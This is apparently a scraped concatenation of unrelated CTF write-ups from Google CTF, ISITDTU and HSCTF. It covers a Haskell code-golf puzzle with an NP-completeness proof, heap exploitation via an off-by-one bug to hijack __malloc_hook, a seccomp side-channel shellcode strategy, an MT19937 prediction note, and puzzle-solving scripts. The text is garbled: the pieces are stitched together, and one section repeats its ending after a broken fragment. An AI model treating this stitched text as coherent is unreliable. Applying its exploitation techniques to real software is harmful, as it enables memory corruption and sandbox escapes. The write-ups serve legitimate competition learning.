Or just skim the titles and skim/read what is interesting. A lot of the length comes from headers,newlines, and code blocks - as far as text goes I've tried to edit things so they're to-the-point.
## Problem statementThe problem could be found [here](https://capturetheflag.withgoogle.com/#challenges/)as of 6/27/19. In case it gets moved or taken down, I've described it below.
Given a list of strings with gaps in them (denoted by a space), you're asked to combine them intoa single string. Imagine all of the strings stacked on top of each other. You want to shift the stringsto the so that only one or zero characters are in each position. You also want to minimize thelength of the resulting string (ignoring trailing and leading gaps). The tie-breaker for multiplesolutions is lexicographic length. Your solution is a function `g :: [String] -> String`.
An example given is the strings `"ha m"` and `"ck e"`:
If you overlay them:
"ha m" "ck e"
Shift them by an appropriate offset:
"ha m" "ck e"
You get the resulting string `"hackme"`.
The catch to all of this is that it must be done in Haskell in 181 bytes or fewer.
Oh, also, it is [NP-Complete](#NP-Completeness).
## Some background
I spent a _long_ time on this problem. Its theme for me was"comfort's a killer." I really like Haskell, and have been using it recently.I really like code golf, and have golfed code in the past. I probably should've spent more time thinking through an algorithm, but I dove inheadfirst. I knew there was a tips for golfing in Haskell on the code golf stack exchange, but I neglected to use it.
And so, I spent an entire weekend on one problem. Welcome to my hell.
## Lessons
I learned three important lessons from this endeavor.
### Lesson #1
Code golf skills don't just magically manifest themselves in another language.
I primarily code golf in [J](https://www.jsoftware.com/indexno.html) and [><>](https://esolangs.org/wiki/Fish). Haskell is neither of these. I used prettymuch none of my existing code golf knowledge in golfing this challenge.
### Lesson #2
Imports are useful.
I should've used more imported functions, especially those from `Data.List` more. Our final solution used only two imports: `join` from `Control.Monad` and`(\\)` from `Data.List`.It can probably be reduced to just using `Prelude`, while still mantaining an acceptablebytecount.
### Lesson #3
Think before you write code.
My first algorithm was far from perfect, and even had a flaw in its logic. Whenthis was fixed and it was golfed, we learned much to my chagrin that it used toomuch memory and was silently failing. Soooooo ... we had to come up with a new onefrom scratch. And then golf it again. Did I mention that I spent a lot of timeon this problem?
# The solution
## A first pass
The first thing I did was write a half-golfed program.
The algorithm was essentially to find every possible way to shift each of the strings and overlay them. Some of these shifts would be invalid, so I discarded those.
I ignored the possibility of strings having trailing spaces, since that wouldjust be cruel. Later solutions also ignored the possibility of strings having leadingspaces. This turend out to be an OK assumption to make (though I wish it were toldto us in the prompt).
There is a mistake in this code: I am only taking the lexicographically minimalsolution, not the minimal length solution. This is fixed in the golfed version,at the cost of many bytes.
```haskellimport Data.Listimport Data.Maybeimport Control.Monad
-- | the solution functiong :: [String] -> Stringg xs = minimum . catMaybes $ [sequence . dropWhile (==Nothing) . map collapseW . transpose $ s | s <- shifts l xs] where l = sum $ map length xs
-- | find all possible ways to shift a string 's' with at most 'l'-- characters of padding.wordShifts :: Int -> String -> [String]wordShifts l s = [space <> s | space <- spaces] where spaces = inits $ replicate l ' '
-- | find every possible way to shift a list of strings, where-- each string can be shifted at most 'l' characters to the leftshifts :: Int -> [String] -> [[String]]shifts l [] = [[]]shifts l (w:ws) = do shifted <- wordShifts l w rest <- shifts l ws return $ shifted : rest
-- | try to collapse a string into a single character (think of this as reducing-- a column to 1 character, this fails if there are more than 2 non-space characters-- or no non-space characters)collapseW :: String -> Maybe CharcollapseW s = do [y] <- foldMap convert s pure y where convert ' ' = Nothing convert c = Just [c]```
I golfed this down to 178 bytes.
```haskellf=foldMaph ' '=[]h c=[c]k l s=[f<>s|f<-inits l]z l[]=[[]]z l(x:y)=[a:b|a<-k l x,b<-z l y]g x=minimum[concat y|s<-transpose<$>z(f(>>" ")x)x,let y=f h<$>s,all((<=1).length)y]```
## The first correct code
At precisely 181 bytes, this was the first code that picked the correct solution,sorting the possible ones by length, then lexicographically.
```haskellh=lengthf[]=" "f l=lz l[]=[[]]z l(x:y)=[a:b|a<-[i<>x|i<-inits l],b<-z l y]g x=snd$minimum[(h a,a)|s<-z((>>" ")=<<x)x,let y=concat.words<$>transpose s,all((<=1).h)y,let a=f=<<y]
```
The problem now is that the code was failing silently! Usually the server would tellyou if you had an error (compilation, runtime, byte length), but it didn't respond andinstead failed after about 25-30 seconds.
We tested with code that ran infinitely, which would get cut off at exactly 1 minute,so with some more testing we concluded that the code was using too much memory andgetting killed.
(we tested the memory usage with `foldl (+) 0 [1..]`, which timed out after 20 or so seconds, and confirmed it was a problem with memory that caused silent failurewith `foldl' (+) 0 [1..]`, which only timed out after a minute. Ahhh Haskell, where one character makes a huge difference)
## More compact code
I further golfed the first correct solution to 151 bytes. I don't remember why I did this.It was golfed during the phase where we were trying to figure out why the serverwouldn't accept our solution. Maybe I was trying to fit space stripping into thecode, but didn't get around to it.
I added some spaces to the last function `g` so it doesn't wrap so hard, but theyaren't part of the bytecount.
```haskellh=lengthf""=" "f l=lg x=snd$minimum[(h a,a)|s<-forM[(>>" ")=<<x|_<-x]inits, let y=concat.words<$>transpose(zipWith(<>)s x),all((<=1).h)y,let a=f=<<y]```
## The first accepted code
The first correct code took somewhere between 2 to 4 hours of effort to reach.By midday Saturday, I had something that was morally right, but didn't pass the tests.That evening, Giselle and I tracked down the root of the problem to space issues.
I complained to Kye about my solution not being good enough, despite beingshort enough, and he devised an algorithm that was better (at least memory-wise) thanmy like `O(n^n)` space algorithm. This was maybe around midnight on Saturday (whichwas 3 AM his time...).
He, however, did not golf it, so I still had to reduce his ~500 bytes to the below.
I spent an hour or two golfing his solution after I woke up on Sundayand brought it down to exactly 181 bytes.
```haskellm(a:b)(x:y)=max a x:m b ym x y=x<>yf s[]=[s]f s r=join[f(m s x)$r\\[x]|x<-r,and$zipWith(\x y->x==' '||y==' ')s x]<>[h:y|(h:t)<-[s],y<-f t r]g y=snd$minimum[(length x,x)|x<-f""y]```
Yup, this code is _a lot_ different. It ended up being a lot more inefficient thanhis original code, too, since I cut out all of his optimizations when I golfed it.
Kye ended up writing an even _more_ efficient version, which thankfully I didn't needto golf.
I just wish that we knew earlier that the "make it snappy" flavortext didn'tmean to make the code short, but instead meant "efficient enough." I'm used to seeingtime/space restrictions given upfront on the Code Golf Stack Exchange, where therecan be answers that are right by observation but too inefficient to run anything butthe simplest of test cases.
# Golf you a HaskellHere were some of the more inventive or useful golfing transformations I used. SinceI foolishly neglected to use any resources other than the documentation, these were all found by myself.
## Infix your code!Haskell has a lot of infix operators (operators like `+` or `-` that go betweentheir arguments). It's made fun of in this [article](http://uncyclopedia.wikia.com/wiki/Haskell)(warning: somewhat NSFW language), which includes the following code that produces[an infinite list of powers of 2](https://stackoverflow.com/questions/12659951/how-does-this-piece-of-obfuscated-haskell-code-work/12660526#12660526).
```haskellimport Data.Function (fix)-- [1, 2, 4, 8, 16, ..]fix$(<$>)<$>(:)<*>((<$>((:[])<$>))(=<<)<$>(*)<$>(*2))$1```
The next few points are on how you can use these operators.
### `$`A simple transformation that I often use in code read by people other than myselfis `$`. `$` is a function that just applies its left argument to its right argument.
```haskellf $ x = f x```
It has really low priority, though, so it can save you parentheses like in
```haskell-- these are the samegcd (1+2) (3*4)gcd (1+2) $ 3*4```
### `map``<$>` and `map` are the same for lists, but the former has lower priority, which letsyou reap some of the benefits of `$`, while also not needing a space between itsarguments (unlike `map`).
### `concatMap`I found myself often using `concatMap`. I first reduced this to `foldMap`, and then to the infix `=<<`. All of these have the same definition for lists.
### `return`I used `return` to convert an element `x` to a singleton list. This becaume `pure` and then finally `[x]` once I realized I was being a moron.
## Filling holesA tricky part of this problem was combining two strings with holes (spaces) in themto produce one where the holes were filled. As it turns out, the only printable ASCIIless than space (ASCII 32) is whitespace, so I figured these wouldn't show up in thestrings. Thus, given two chars in the same column, we can take their maximum to findthe non-space char (if it exists).
## Cheeky pattern matchingI had code that I wanted to give a list if `x` pattern matched one thing and the emptylist if it did not. Something that looked like
```haskellcase x of (h:t) -> foo h t [] -> []```
I converted this to
```haskell[foo h t|(h:t)<-[x]]```
This abuses the fact that when the pattern match `(h:t)` fails in the context of alist comprehension, an empty list is returned instead of an error. This is a specialcase of how pattern matching is desugared inside of a `do` block.
N.B. `foo` has a different type between these examples.
## Finding the possible shiftsGiven `strings :: [String]`, I wanted to find all of the ways these strings could beshifted. I eventually boiled this down to finding `paddings ::[[String]]`, where each`padding :: [String]` in the list was the same length as `strings` and had a variednumber of spaces in each element. So each `padding`, when combined element-wise with`strings` would give a different shift.
A way of doing this would be
```haskellimport Data.List (inits)
cartesianProduct :: [[a]] -> [[a]]cartesianProduct [] = [[]]cartesianProduct (xs:xss) = [x : ys | x <- xs, ys <- cartesianProduct xss]
paddings :: [String] -> [[String]]paddings strings = cartesianProduct $ replicate (inits maxPadding) (length strings) where maxPadding = replicate (sum $ map length strings) ' '```
Let's take a look at
```haskellmaxPadding strings = replicate (sum $ map length strings) ' '```
In order to make sure that I was shifting enough, I found a maximum padding thatwas equal to the sum of the lengths of the strings.
We can reframe this as converting each element in `strings` to a string that is the samelength but only consisting of spaces, then concatenating all of these elements together.
```haskellmaxPadding strings = concatMap (\str -> replicate (length str) ' ') strings```
`replicate . length` is way too long, so let's replace it with `(>> " ")`.
```haskellmaxPadding strings = concatMap (\str -> str >> " ") strings```
Eta reduce and obfuscate `concatMap` to give
```haskellmaxPadding strings = (>> " ") =<< strings```
Much better.
This is only the max padding for a single element though. I wanted to find `paddings`.`inits :: [a] -> [[a]]` will get us part of the way there, since it will give allpossible prepended spaces, from 0 to `maxPadding`.
```haskellinits [1,2,3] = [[],[1],[1,2],[1,2,3]]inits (maxPadding ["a","bc","d"]) = ["", " ", " ", " ", " "]```
We then want the cartesian product of `inits maxPadding` repeated `length strings` times. `cartesianProduct` is a long definition, so why don't we use the list Monad some more?
```haskellpaddings strings = sequence (replicate (inits maxPadding) (length strings))```
`sequence` is the same as `\x -> forM x id` or `\x -> mapM id x`, so we can convert to
```haskellpaddings strings = forM (replicate (inits maxPadding) (length strings)) id```
We want to be applying `inits` to every element anyway, so we can pull it out.
```haskellpaddings strings = forM (replicate maxPadding (length strings)) inits```
Then get rid of this `replicate` nonsense by using a list comprehension that ignoresall of the values of `strings`.
```haskellpaddings strings = forM [maxPadding | _ <- strings ] inits```
Substitute the definition of `maxPadding` and we're done.
```haskellpaddings strings = forM[ (>> " ") =<< strings | _ <- strings] inits```
354 bytes of (reasonably) readable code down to 67 bytes of nonalphanumeric soup.
Don't you love code golfing?
# NP Completeness
On Saturday evening, I was banging my head against a wall trying to optimize thespace and time complexity of my algorithm. But every time I tried to think througha faster algorithm, something felt wrong. I had a feeling that the problem was [NP Complete](https://en.wikipedia.org/wiki/NP-complete), and so the only thing I could get optimal would be space. I eventually sat down and proved it NP-Complete.
## ProofThe proof is by reduction from the [Bin Packing Problem](https://en.wikipedia.org/wiki/Bin_packing_problem) (BPP). This isa pretty rigorous proof, but I tried to make it understandable. I think the [Reduction, visualized](#Reduction-visualized)section does a pretty good job of building intuition for how the proof works, but if youhaven't seen a reduction before this all might seem kind of obtuse.
### Bin Packing Problem (decision version)The BPP asks, given `m` bins of size `V` and a set `S` of elements with an associatedcost function `f : S -> N` (where `N` is the natural numbers), can `S` be partitionedinto at most `m` subsets, each of whose total cost is less than or equal to `V`? Inplain English, given `m` bins, each with capacity `V`, can we fill each bin to atmost capacity with all of the elements in `S`?
### Crypto Problem (decision version)First, I will state the decision variant of the Crypto Problem (CP). Given a "set" `T`of strings that have holes in them represented by spaces and a target length `l`, theCrypto Problem asks whether all elements of `T` can be overlaid such that there is atmost one non-hole per column and the length of the overall result (after removingtrailing and leading spaces) is `l` or less.
(this "set" may have duplicates - I don't want to be as rigorous as in the BPP)
### ReductionWe can construct a CP from an arbitrary BPP as follows.
We first will construct theset `T`. Create `m` strings, each of length `3V + 2`. The first and last `V+1` characters of these strings are `#`, and the rest (the center) are spaces (holes).Character choice doesn't matter here, so I pick an arbitrary one.These strings will represent our bins, and I will refer to them as "bin strings".
For each element `s` in the set `S` from the BPP, we want to make an analagous elementfor the CP. This element will be `f(s)` long, and consist only of the character `*`.Again, character choice doesn't matter here. I'll refer to these as "`*` strings".
Now, we pick a length `l`. This CP will have a maximum length of `(3V + 2) * m`.
This reduction clearly takes polynomial time as it involves iterating as many timesas there elements of `S` and bins.
We claim that the given BPP is solvable if and only if this constructed CP is solvable.
### Reduction, visualized
Let's consider a BPP with `V = 3`, `m = 3`, and elements of size `1`, `1`, `2`, and `2`.
The bins:```# # # # # ## # # # # ## # # # # #### ### ###```
The elements:```* * * * * *```
A valid placement of these is putting a `1` in its own bin, a `2` in its own bin, anda `1` and `2` in the last bin. Another valid placement would be tofill two bins entirely and leave one empty.
```# # # # #*## # #*# #*##*# #*# #*#### ### ###```
The equivalent problem in CP is the following strings:
```#### #### (x3)* (x2)** (x2)```
And an equivalent solution is the following:
```#### #### * #### #### ** #### #### ***```
which, when flattened looks like
```####* ########** ########***####```
Note how the length is `(3V + 2) * m` = 33.
### Reduction proof (forward direction)
Given a solution to the BPP, we can make a solution to the CP. Suppose in the BPPsolution that some arbitrary bin `B` was filled to a volume `V' <= V` using theelements in the set `S'`. This implies that
```sum(f(s') for s' in S') = V' <= V```
Since we created a bijection from elements of `S` in the BPP to elements of `T` in theCP, find the corresponding elements from `S'` and put them in the set `T'`. We claimthat the elements of the set `T'` can be made to fit into a single bin string.
Why is this? Well, the sum of the lengths of these strings is less than `V`, which isthe amount of space in the middle of each "bin" string. Therefore, we can justconcatenate all of these strings together and place them in the center of the binstring.
Since we can do this for an arbitrary bin, and there is a bijection from `S` to `T`,i.e. all bins in the solution of the BPP span all of `S`, we can fit all of the elementsin `T` corresponding to elements in `S` inside of the "bin" strings. This means thatthere exists a solution where we place all of the `*` strings inside of the binstrings. Therefore, the overall length of this solution is just the length of all thebin strings combined, which is `(3V + 2) * m` as desired.
### Reduction proof (backwards direction)
We'll prove the contrapositve of the backwards direction. If there doesn't exista solution to the BPP, we cannot make a solution to the CP.
First, it should be reasonably obvious from the previous direction that the strategyof placing the `*` strings in the bin strings won't work, since the BPP is unsolvable.If we could place them in the bins, then that would imply that the BPP was solvable,which contradicts the premise.
So we would have to find a solution to the CP that doesn't involve _just_ putting the`*` strings inside of the bin strings. Since our target length is `(3V + 2) * m`, weneed to fill all of the holes in the bins. If we aren't _just_ putting `*` stringsinside of bin strings, this means we would have to have bin strings intersect. This isimpossible, as on either end of the `V` holes in the center there are `V + 1` holeson the side.
Visually, for `V` = 3, we get alignments that look like this.
```top bin | #### #### | #### #### | #### #### | #### #### | ...bottom bin | #### #### | #### #### | #### #### | #### #### | ...```
The bins all have to intersect in _some_ column, which is not allowed in an answer.
Therefore, it is impossible to have a solution to the CP.
### Conclusion
Since we showed a reduction existed from the BPP to the CP that took polynomial time,and that the constructed CP was solvable if and only if the corresponding BPP was,we conclude that the Crypto Problem is NP-Complete. |
There are 20 heap pointers stored at bss(0x602060~0x602100-0x8). And in Add(), Edit(), Delete(), there is a off-by-one bug, which allows attacker use the index 20(the 21st). And the 21st pointer points to g_name(0x602100) which can be fully controled by attacker.So my strategy is to forge fake chunks in bss when edit g_name as following:```0x602060 g_list[0]......0x6020f8 g_list[19]0x602100 g_name/g_list[20] -> 0x6021200x6021080x602110 fake_prev_size0x602118 fake_size......```As a result we can fully manipulate a heap chunk by editing g_name.We can:1. leak libc: forge a fake unsorted chunk at bss then free it. By showing name we can leak [main_arena](https://github.com/bash-c/main_arena_offset) + 962. control pc: forge a fake tcache bin at bss. Modify fd by editing g_name, then we can allocate to `__malloc_hook`
Here is my [exploit](https://github.com/bash-c/pwn_repo/blob/master/ISITDTU2019_iz_heap_lv1/solve.py). Follow [me](https://github.com/bash-c) if you like this writeup :) |
Out of bounds write, shellcode of read, shellcode of /bin/sh
[writeup](https://github.com/LorenzoBinosi/CTF/tree/master/2019/GoogleCTF/pwn/MicroServiceDaemonOS) |
# Do_you_like_math - 1000
__Description__
nc 104.154.120.223 8083
__Solution__
Well this is a simple challenge the only `HARD` in this is reading those figlets from the screen but again __@comet__ was able to write a [script](math-sol.py) to solve this challenge.
```pythonfrom pwn import *
def translate(arr):
zero =[[' ',' ','#','#','#',' ',' '], [' ','#',' ',' ',' ','#',' '], ['#',' ',' ',' ',' ',' ','#'], ['#',' ',' ',' ',' ',' ','#'], ['#',' ',' ',' ',' ',' ','#'], [' ','#',' ',' ',' ','#',' '], [' ',' ','#','#','#',' ',' ']]
one = [[' ',' ','#',' ',' ',' ','#'], [' ','#',' ',' ',' ',' ','#'], ['#','#','#','#','#','#','#'], [' ',' ',' ',' ',' ',' ','#'], [' ',' ',' ',' ',' ',' ','#']]
two = [[' ','#',' ',' ','#','#','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], [' ','#','#',' ',' ',' ','#']]
three=[[' ','#',' ',' ',' ','#',' '], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], [' ','#','#',' ','#','#',' ']]
four =[['#','#','#','#','#',' ',' '], [' ',' ',' ',' ','#',' ',' '], [' ',' ',' ',' ','#',' ',' '], [' ',' ',' ',' ','#',' ',' '], [' ',' ',' ',' ','#',' ',' '], [' ','#','#','#','#','#','#'], [' ',' ',' ',' ','#',' ',' ']]
five =[['#','#','#','#',' ','#',' '], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ',' ','#','#',' ']]
six = [[' ','#','#','#','#','#',' '], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], [' ','#',' ',' ','#','#',' ']]
seven=[['#','#',' ',' ',' ',' ',' '], ['#',' ',' ',' ',' ',' ',' '], ['#',' ',' ',' ','#','#','#'], ['#',' ',' ','#',' ',' ',' '], ['#',' ','#',' ',' ',' ',' '], ['#','#',' ',' ',' ',' ',' '], ['#',' ',' ',' ',' ',' ',' ']]
eight=[[' ','#','#',' ','#','#',' '], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], [' ','#','#',' ','#','#',' ']]
nine =[[' ','#','#',' ',' ','#',' '], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], ['#',' ',' ','#',' ',' ','#'], [' ','#','#','#','#','#',' ']]
add = [[' ',' ',' ','#',' ',' ',' '], [' ',' ',' ','#',' ',' ',' '], [' ','#','#','#','#','#',' '], [' ',' ',' ','#',' ',' ',' '], [' ',' ',' ','#',' ',' ',' ']]
sub = [[' ',' ',' ','#',' ',' ',' '], [' ',' ',' ','#',' ',' ',' '], [' ',' ',' ','#',' ',' ',' '], [' ',' ',' ','#',' ',' ',' '], [' ',' ',' ','#',' ',' ',' ']]
mult =[[' ',' ',' ','#',' ',' ',' '], [' ','#',' ','#',' ','#',' '], [' ',' ','#','#','#',' ',' '], [' ',' ',' ','#',' ',' ',' '], [' ',' ','#','#','#',' ',' '], [' ','#',' ','#',' ','#',' '], [' ',' ',' ','#',' ',' ',' ']] div = [[' ',' ',' ',' ',' ',' ',' '], [' ',' ',' ',' ',' ',' ',' '], [' ',' ',' ',' ',' ',' ',' '], [' ',' ',' ',' ',' ',' ',' '], [' ',' ',' ',' ',' ',' ',' '], [' ',' ',' ',' ',' ',' ',' '], [' ',' ',' ',' ',' ',' ',' ']] if arr == zero: return '0' elif arr == one: return '1' elif arr == two: return '2' elif arr == three: return '3' elif arr == four: return '4' elif arr == five: return '5' elif arr == six: return '6' elif arr == seven: return '7' elif arr == eight: return '8' elif arr == nine: return '9' elif arr == add: return '+' elif arr == sub: return '-' elif arr == mult: return '*'r = remote('104.154.120.223',8083)countN = 0while True: equation = '' r.recvline() arr = [] for i in range(7): try: s = r.recvline() except EOFError: r.interactive() arr.append(s[:-1]) arr_num = [] for i in range(50): arr2 =[row[i] for row in arr] count = 0 for j in arr2: if j == ' ': count += 1 if count == len(arr2): countN += 1 if countN == 2: break equation += translate(arr_num) arr_num = [] else: countN = 0 arr_num.append(arr2) ans = eval(equation) print(equation) print(ans) r.sendlineafter('>>> ',str(ans))``` |
# English Sucks
## __Description__
English is such a confusing language. Can you help me understand it?
nc misc.hsctf.com 9988
[mt.cpp](mt.cpp)
## __solution__
The given code generate 216 strings each with 3 random integers by [mt19937](https://en.wikipedia.org/wiki/Mersenne_Twister) which is an pseudorandom number generator.
```std::mt19937 random{std::random_device()()};
auto v1 = random();auto v2 = random();auto v3 = random();```
According to [this](https://github.com/kmyk/mersenne-twister-predictor), you can predict MT19937 from preceding 624 generated numbers.
But take a look the code it generate strings
```std::cout << "BCDGPTVZ"[v2 >> 0x1F & 0x1 | v3 >> 0x0 & 0x3] << "BCDGPTVZ"[v1 >> 0x09 & 0x7] << "BCDGPTVZ"[v3 >> 0x05 & 0x7] << "BCDGPTVZ"[v3 >> 0x08 & 0x7]...```
It take every 3 bits of the numbers and decide a character.
However, the first and the last bits are not confirmable because the OR operation. That causes the uncertainty of the answer.
Write a [script](solve.py) with the predictor and try it several times until it success.

```hsctf{y0u_kn0w_1_h4d_t0_d0_1t_t0_3m_rng_god}``` |
# Drive to the target
This is marked as a coding challenge even though I'm not a coder I'll give it a shot anyway.Upon clicking the link we are presented with a simple UI with two separate number fields asking us to pick our direction.

If we click "go" with the default numbers in the field it presents this message.

it also changes the URL to the following
https://drivetothetarget.web.ctfcompetition.com/?lat=51.6498&lon=0.0982&token=gAAAAABdF2b0Jo520OKQFtMfWtti_dHO7rVpyljaU3v74xht1RqH6PmdxJ1BIAPCfPbYxGMX4PYrMJ6T_YLmAoIRZ37We7jRUs5IhkGpEWSRFuoCnJRohdOHAe3F_xqB_DpDphQMCVyN
This is interesting, you can see 3 parameters in the URL, lat, lon and token.lat and lon are obviously referring to latitude and longitude, not sure what the token is but we will come back to that later.
I then try increasing the lat by 1

Increasing Lat by a whole degree "moves" us about 111km seems there is a limit on how fast we can move.lets try increasing it by a single second.

That worked but in the wrong direction, let’s try reducing latitude by one second.

Perfect we are heading in the right direction.We now know the basics of how this website works, so let’s try modifying the token sent in the URL see what happens.

After playing with the token it appears the token is used to authenticate the other parameters that are sent in the URL, this means to capture this flag we will have to crack how the token is made or take lots of small steps, I chose to go with making lots of small steps, let’s get to coding.
Since I know a little bit of bash I go with that.```#!/bin/bash
lat="51.6498"long="0.0982"token="gAAAAABdF4snizIqQI5K7N7yPOZ6bUhrl3j3C5kH-wG2UMEnncN4t42QAhn0SPyJxZE1H_zsDlvj38-RI-1RFKf6450IqIx9Kmj9DbI3FQzw-tsNe6O5ZQ-DVaYrbhTc-FkRCSaV4tQ7"
while true; do curl 'https://drivetothetarget.web.ctfcompetition.com/?lat='$lat'&lon='$long'&token='$token'' > reply token="`cat reply | grep -Po '(?<=name="token" value=").*$' | rev | cut -c 3- | rev`"lat=$(echo "$lat+0.0002" | bc)#lat=$(echo "$lat-0.0002" | bc)#long=$(echo "$long+0.0004" | bc)#long=$(echo "$long-0.0004" | bc)cat reply | grep "" >> logecho "new lat is" $lat >> logecho "new long is" $long >> logecho "token is" $token >> logsleep 1.3
done```It's not pretty but it does the job.
I use some regex to pull the token from the response from the server and then input it into the next curl command, you could also extract the lat and long from the server's response, but I just handled that manually.
I then either increase or decrease the lat and/or lon based on what's commented out at the time, I must pipe the lat and lon into bc because bash doesn't handle floats very well.
This code by itself would never find the flag, but by outputting its progress and variables to a log file I can manually tweak the code once I see the output change from "you are getting closer" to "you are getting away"
In total it took 5 manual interventions with the code to change its direction and about about 2 hours it reached the flag.
https://drivetothetarget.web.ctfcompetition.com/?lat=51.4921&lon=-0.1928&token=gAAAAABdDhx0H40ears2fEI7wIwWHYl6K0dgFHIZHPxelceIsRyXsle_sPZUsGwsTHF12svh9RncEhx1e7dupA8z_q5N4714prD_ULYOT7f4CEHiHdWSiAWMkZwlbfv66HDK6NM5-iH6
CTF{Who_is_Tardis_Ormandy}
" >> logecho "new lat is" $lat >> logecho "new long is" $long >> logecho "token is" $token >> logsleep 1.3
done```It's not pretty but it does the job.
I use some regex to pull the token from the response from the server and then input it into the next curl command, you could also extract the lat and long from the server's response, but I just handled that manually.
I then either increase or decrease the lat and/or lon based on what's commented out at the time, I must pipe the lat and lon into bc because bash doesn't handle floats very well.
This code by itself would never find the flag, but by outputting its progress and variables to a log file I can manually tweak the code once I see the output change from "you are getting closer" to "you are getting away"
In total it took 5 manual interventions with the code to change its direction and about about 2 hours it reached the flag.
https://drivetothetarget.web.ctfcompetition.com/?lat=51.4921&lon=-0.1928&token=gAAAAABdDhx0H40ears2fEI7wIwWHYl6K0dgFHIZHPxelceIsRyXsle_sPZUsGwsTHF12svh9RncEhx1e7dupA8z_q5N4714prD_ULYOT7f4CEHiHdWSiAWMkZwlbfv66HDK6NM5-iH6
CTF{Who_is_Tardis_Ormandy}
|
# poker_game-1000
__Description__
I know how to play cards but I'm not a professional player, you can https://www.youtube.com/watch?v=-nS1r-EwDnk
File: [Poker](poker)
__Solution__
The file contatins
```7♦8♥4♠J♦9♣8♥7♦3♠J♣J♦6♥9♥5♦2♥J♥A♣3♠2♦J♣A♥3♦J♥A♣5♠8♦J♣A♥9♠7♠5♦J♥J♥A♦3♠6♦J♦A♣5♦5♦J♣A♥2♠3♦J♥A♥2♠3♦J♥7♠3♥5♥J♠A♦3♠J♦A♥2♦2♦J♥A♦9♦8♦J♦A♠8♠J♠A♦5♠9♠J♦A♦2♠J♦A♥2♦J♥A♠7♦J♠A♠6♦3♠J♠A♣2♠J♣A♠7♠2♠J♠A♦2♠7♦9♦J♦A♦3♦J♦A♥3♦J♥A♣2♠J♣A♠9♦2♦J♠J♠A♠4♠4♠J♠A♣6♦J♣A♣3♠J♣A♠6♦5♠J♠A♣5♠4♦J♣A♠2♠3♦J♠A♦2♣7♦8♦J♦A♣5♠5♠J♣A♥5♠J♥A♦5♣J♦```
First I thought this was a [`solitaire cipher`](https://steemit.com/steemiteducation/@shai-hulud/solitaire-encryption-low-tech-high-security-a-how-to) and was trying to read about it but then __@blackpink__ pointed out that it's not `Crypto` challenge so we should look at something else.
So I started looking for any `esolang` but couldn't find any. And then __@blackpink__ strikes again. They found it just by googling the whole cipher.

Then we found the [github/michaeldv/ante](https://github.com/michaeldv/ante).
Using the `ante.go` we were able to decode the cipher to a base58 string
```console➜ go run ante.go ../poker4L4vKyNnn7Xopi4tEa75vhkVbCFyTmmeZWfVg2Lt```
Decode that base58 and you got yourself a flag.
**FLAG**: `ISITDTU{1_l0v3_4nt3_l4ngu4g3}` |
This executable will read flag to `0xcafe000` then xor flag with 8 random bytes, then execute what we input before zeroing all commom registers except rip. And there is a seccomp sandbox which only allows us to use `SYS_alarm`.
No syscall, no output, so my strategy is to use `side channel`:
I read random byte from `0xcafe028~0xcafe030`(with xored with `\x00`, these 8 bytes is what we got from `/dev/urandom`) and read flag[i] from `0xcafe000~?` byte by byte. Then `xor flag[i], random[i]` and we got flag[i] in plaintext in memory! So we can write a shellcode which tends to be an infinite loop when flag[i] is equal with the guessed value.
So we can get flag byte by byte.
> Actually, we can even don't use `SYS_alarm` because 5 seconds is a long time for us to judge whether we face an infinite loop.
Read my [exploit](https://github.com/bash-c/pwn_repo/blob/master/ISITDTU2019_babyshellcode/solve.py) for more details and follow [me](https://github.com/bash-c) if you like this Writeup :) |
For this challenge, we were given a netcat command that connects to a tool. Given this tool, maybe we can figure out how to approach this problem.
Once loaded, this was the screen we were presented with:

There seems to be a cipher that they give us, and two options to choose: encrypt a message, or decrypt the ciphertext.
So I run the program and try to see a pattern:

I notice that 'the' translates into '00/tt/??/ww 11/hh/&&/gg 55/ee/((/dd'. The second set of doubles is the letter of the word, but the other chars are used to obfuscate the text. I check each type of char and realize that:* Each set is seperated by a space.* Lowercase: four sets long, letters in second set* Uppercase: four sets long, characters in the third set and capital letters in the fourth set.* numbers: three sets long, numbers in the first set.* special characters: five sets long, characters in the fifth set.
So with these rules, I made a script that will parse through and enter the flag, the script can be found [here](https://github.com/Cap-Size/CTF_Write_Ups/blob/master/ISITDTU_2019/chaos/chaos.py) |
# Do you like math?```nc 104.154.120.223 8083```Netcat into it:```# nc 104.154.120.223 8083
# ##### ##### # # # # # # # # # # # # # ##### # # ###### ##### ##### ####### # # # # # ##### # # # # # # # ##### ##### >>> ```It's just a Maths question to answer
Answer one got another question appear:```# nc 104.154.120.223 8083
##### ##### # # # # # # # ##### ##### ##### ###### # # ##### # # # ####### ##### >>> -7
##### ##### ##### # # # # # # # # # # # # # ##### ##### ##### ##### ##### # # # # # # ##### # # # # # # ####### ##### ##### >>>```The hard part is the **connection timeout very quickly** (about 1 seconds)
So we need to write a script to auto answer all these questions
After few testing we know that:
-> Every numbers and operator got 7 character height
-> Every numbers and operator is seperated with one line
-> Maximum total got 4 number and one operator
First, we need to find a way to seperate these equation first:
My way is find the index is all spaces and split them:```Index:0123456789... ##### | ##### | | ##### # #|# #| # |# # #|# #| # |# # ##### ##### | ##### |#####| ##### # |# #| # |# # ##### # |# #| # |# # #######| ##### | | ##### ```
